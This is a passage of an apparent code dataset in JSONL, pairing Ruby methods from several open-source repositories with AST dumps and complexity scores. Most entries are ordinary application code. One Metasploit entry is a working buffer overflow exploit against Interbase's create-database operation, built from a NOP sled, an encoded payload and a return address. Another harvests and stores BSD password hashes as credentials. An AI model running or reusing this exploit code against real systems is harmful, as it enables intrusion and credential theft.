type\":\"lvar\",\"children\":[\"jtr_format\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"send\",\"children\":[null,\"refname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_parts\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[null,\"session_db_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_parts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"chomp\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"bsd.hashes\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"john_file\"]},{\"type\":\"str\",\"children\":[\"unshadowed.passwd\"]},{\"type\":\"str\",\"children\":[\"BSD Unshadowed Password File\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unshadowed Password File: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]}","id":"531dd904-bc34-4c1f-93db-6b81c38b7a99"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/password/md5_lookup.rb","start_line":45,"raw_source":"def print_status(msg='')\n  $stdout.puts \"[*] #{msg}\"\nend","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print_status\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[*] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"5430d007-58b5-4c89-92bb-d0defb82ba69"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/commands/create_folder_command.rb","start_line":48,"raw_source":"def url_for(parent_location)\n              if parent_location.root?\n                UrlBuilder.url(base_uri, \"/root/children\")\n              else\n                UrlBuilder.url(base_uri, \"/items\", parent_location.path, \"/children\")\n              end\n            end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_location\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_location\"]},\"root?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"url\",{\"type\":\"send\",\"children\":[null,\"base_uri\"]},{\"type\":\"str\",\"children\":[\"/root/children\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"url\",{\"type\":\"send\",\"children\":[null,\"base_uri\"]},{\"type\":\"str\",\"children\":[\"/items\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_location\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/children\"]}]}]}]}","id":"0dc9033c-3d6a-4304-949d-fe99c08c16aa"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_scan.rb","start_line":326,"raw_source":"def abort_retry(*args)\n    scanning\n    call_abort_retry(*args)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"abort_retry\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scanning\"]},{\"type\":\"send\",\"children\":[null,\"call_abort_retry\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"5084ca41-6398-4a7b-8aa0-6339633602a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250917200003_add_foreign_key_on_gpg_key_sub_key_id_to_tag_gpg_signatures.rb","start_line":12,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :tag_gpg_signatures, column: :gpg_key_subkey_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"tag_gpg_signatures\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"gpg_key_subkey_id\"]}]}]}]}]}]}","id":"badbba60-d5ff-4e08-9fb9-2d93157d8bd7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database.rb","start_line":58,"raw_source":"def self.all_database_connection_files\n      Dir.glob(Rails.root.join(\"db/database_connections/*.yaml\"))\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all_database_connection_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"db/database_connections/*.yaml\"]}]}]}]}","id":"30bc58f6-6519-498c-90e3-434bdc2835ce"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment.rb","start_line":303,"raw_source":"def profiles_supported?\n      payment_method.respond_to?(:payment_profiles_supported?) && payment_method.payment_profiles_supported?\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"profiles_supported?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payment_method\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"payment_profiles_supported?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payment_method\"]},\"payment_profiles_supported?\"]}]}]}","id":"53ac2557-9b2b-4c13-b65a-51fc5b6ea6ad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/gitaly_setup.rb","start_line":416,"raw_source":"def gitaly_binary\n    File.join(tmp_tests_gitaly_dir, \"_build\", \"bin\", \"gitaly\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gitaly_binary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"tmp_tests_gitaly_dir\"]},{\"type\":\"str\",\"children\":[\"_build\"]},{\"type\":\"str\",\"children\":[\"bin\"]},{\"type\":\"str\",\"children\":[\"gitaly\"]}]}]}","id":"07c14812-9f81-4cad-a2aa-efa41bdc072c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/namespaces/restore_base_service.rb","start_line":76,"raw_source":"def suffix\n      original_path_taken? ? \"-#{SecureRandom.alphanumeric(5)}\" : \"\"\n    end","complexity_score":3.43,"ast_json":"{\"type\":\"def\",\"children\":[\"suffix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_path_taken?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"111bcfb1-edfd-49a7-8728-4dbc331a8007"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/invite_guardian.rb","start_line":41,"raw_source":"def can_invite_via_email?(object)\n    return false if !can_invite_to_forum?\n    return false if !can_invite_to?(object)\n\n    (SiteSetting.enable_local_logins || SiteSetting.enable_discourse_connect) &&\n      (!SiteSetting.must_approve_users? || is_staff?)\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"can_invite_via_email?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_invite_to_forum?\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_invite_to?\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_local_logins\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_discourse_connect\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"must_approve_users?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"is_staff?\"]}]}]}]}]}]}","id":"e5f71ec5-2660-4a2c-a690-52be5ed433aa"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/group_show_serializer.rb","start_line":89,"raw_source":"def is_group_owner_display\n    !!fetch_group_user&.owner\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"is_group_owner_display\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_group_user\"]},\"owner\"]},\"!\"]},\"!\"]}]}","id":"2f12c1b0-2b4a-47fc-bd6b-ace0a3359e48"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/sidekiq_cluster/cli.rb","start_line":178,"raw_source":"def metrics_server_enabled?\n        !@dryrun && sidekiq_exporter_enabled?\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"metrics_server_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dryrun\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"sidekiq_exporter_enabled?\"]}]}]}","id":"d76f2973-f9f6-45ac-b23e-483c6e797eec"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/lib/discourse_data_explorer/result_format_converter.rb","start_line":22,"raw_source":"def cols\n      @cols ||= pg_result.fields\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cols\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cols\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pg_result\"]},\"fields\"]}]}]}","id":"28e2eac4-21c3-45ee-b976-cba1bf3782a7"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/server/base.rb","start_line":96,"raw_source":"def pubsub\n        @pubsub || @mutex.synchronize { @pubsub ||= config.pubsub_adapter.new(self) }\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pubsub\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pubsub\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pubsub\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"pubsub_adapter\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}]}]}","id":"026a5aca-5203-498e-830c-6414e2ecd751"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/concerns/user_auth_tokens_mixin.rb","start_line":12,"raw_source":"def location\n    ipinfo = DiscourseIpInfo.get(client_ip, locale: I18n.locale)\n    ipinfo[:location].presence || I18n.t(\"staff_action_logs.unknown\")\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"location\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ipinfo\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseIpInfo\"]},\"get\",{\"type\":\"send\",\"children\":[null,\"client_ip\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"locale\"]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ipinfo\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"location\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"staff_action_logs.unknown\"]}]}]}]}]}","id":"ea4e36ed-4d95-4b55-bc1a-cd5c0ddf6c77"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":2028,"raw_source":"def with_timezone_config(cfg, &block)\n      super(cfg) do\n        Default.reset_column_information\n        block.call\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_timezone_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cfg\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cfg\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Default\"]},\"reset_column_information\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\"]}]}]}]}","id":"0eb6311a-89c6-4d22-8820-ab994a6f51b4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/imgur_onebox.rb","start_line":12,"raw_source":"def to_html\n        og = get_opengraph\n        return video_html(og) if !og.video_secure_url.nil?\n        return album_html(og) if is_album?\n        return image_html(og) if !og.image.nil?\n        nil\n      end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"to_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"og\",{\"type\":\"send\",\"children\":[null,\"get_opengraph\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"video_secure_url\"]},\"nil?\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"video_html\",{\"type\":\"lvar\",\"children\":[\"og\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_album?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"album_html\",{\"type\":\"lvar\",\"children\":[\"og\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"og\"]},\"image\"]},\"nil?\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"image_html\",{\"type\":\"lvar\",\"children\":[\"og\"]}]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"cb6ea974-7f4e-467f-ad2a-7014d9c9e88c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/bin/saas-feature.rb","start_line":215,"raw_source":"def read_url(prompt)\n      $stdout.puts\n      $stdout.puts \">> #{prompt}\"\n\n      loop do\n        url = Readline.readline('?> ', false)&.strip\n        url = nil if url.empty?\n        return url if url.nil? || valid_url?(url)\n      end\n    end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"read_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prompt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\">> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Readline\"]},\"readline\",{\"type\":\"str\",\"children\":[\"?> \"]},{\"type\":\"false\",\"children\":[]}]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"valid_url?\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},null]}]}]}]}]}","id":"5f002c40-8762-409a-8a73-34369308615c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/boards/lists/create_service_spec.rb","start_line":22,"raw_source":"def create_list(params)\n    create(:list, params.merge(board: board))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"board\"]},{\"type\":\"send\",\"children\":[null,\"board\"]}]}]}]}]}]}","id":"6a1929a8-e430-4afb-890d-dfcfcdf064f3"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":881,"raw_source":"def test_render_action_with_symbol\n    get :render_action_hello_world_with_symbol\n    assert_equal \"Hello world!\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_action_with_symbol\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_action_hello_world_with_symbol\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello world!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"e21771f1-13bb-4c36-b561-312abdb6326c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/authenticator/base.rb","start_line":261,"raw_source":"def decrypt_ldap_password(config)\n      config[:bind_pwd] = ManageIQ::Password.try_decrypt(config[:bind_pwd])\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_ldap_password\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"bind_pwd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Password\"]},\"try_decrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bind_pwd\"]}]}]}]}]}","id":"7a0364ce-fbd5-4921-9a00-b510a1c2aa5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/ib_jrd8_create_database.rb","start_line":63,"raw_source":"def exploit\n    connect\n\n    # Create database\n    op_create = 20\n\n    length = 544\n    remainder = length.remainder(4)\n    padding = 0\n\n    if remainder > 0\n      padding = (4 - remainder)\n    end\n\n    buf = ''\n\n    # Operation/packet type\n    buf << [op_create].pack('N')\n\n    # Id\n    buf << [0].pack('N')\n\n    # Length\n    buf << [length].pack('N')\n\n    # It will return into this nop block\n    buf << make_nops(length - payload.encoded.length - 4)\n\n    # Payload\n    buf << payload.encoded\n\n    # Target\n    buf << [target.ret].pack('V')\n\n    # Padding\n    buf << \"\\x00\" * padding\n\n    # Database parameter block\n\n    # Length\n    buf << [1024 * 32].pack('N')\n\n    # Random alpha data\n    buf << rand_text_alpha(1024 * 32)\n\n    sock.put(buf)\n\n    handler\n  end","complexity_score":53.53,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"op_create\",{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"int\",\"children\":[544]}]},{\"type\":\"lvasgn\",\"children\":[\"remainder\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"remainder\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"padding\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remainder\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"padding\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"-\",{\"type\":\"lvar\",\"children\":[\"remainder\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op_create\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"length\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]}]},\"-\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"padding\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1024]},\"*\",{\"type\":\"int\",\"children\":[32]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1024]},\"*\",{\"type\":\"int\",\"children\":[32]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"3771cd97-e8f6-4ec0-92ec-0c1282b87709"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/session_tagger.rb","start_line":33,"raw_source":"def on_session_close(session, _reason = '')\n      print_status(\"Hooked session #{session.sid} is shutting down\")\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_session_close\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]},{\"type\":\"optarg\",\"children\":[\"_reason\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Hooked session \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"sid\"]}]},{\"type\":\"str\",\"children\":[\" is shutting down\"]}]}]}]}","id":"9b60f5c8-36a5-4240-8ecc-07b43f4d4f24"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":596,"raw_source":"def test_errors_should_be_indexed_when_passed_as_array\n    guitar = Guitar.new\n    tuning_peg_valid = TuningPeg.new\n    tuning_peg_valid.pitch = 440.0\n    tuning_peg_invalid = TuningPeg.new\n\n    guitar.tuning_pegs = [tuning_peg_valid, tuning_peg_invalid]\n\n    assert_not_predicate tuning_peg_invalid, :valid?\n    assert_predicate tuning_peg_valid, :valid?\n    assert_not_predicate guitar, :valid?\n    assert_equal [\"is not a number\"], guitar.errors[\"tuning_pegs[1].pitch\"]\n    assert_not_equal [\"is not a number\"], guitar.errors[\"tuning_pegs.pitch\"]\n  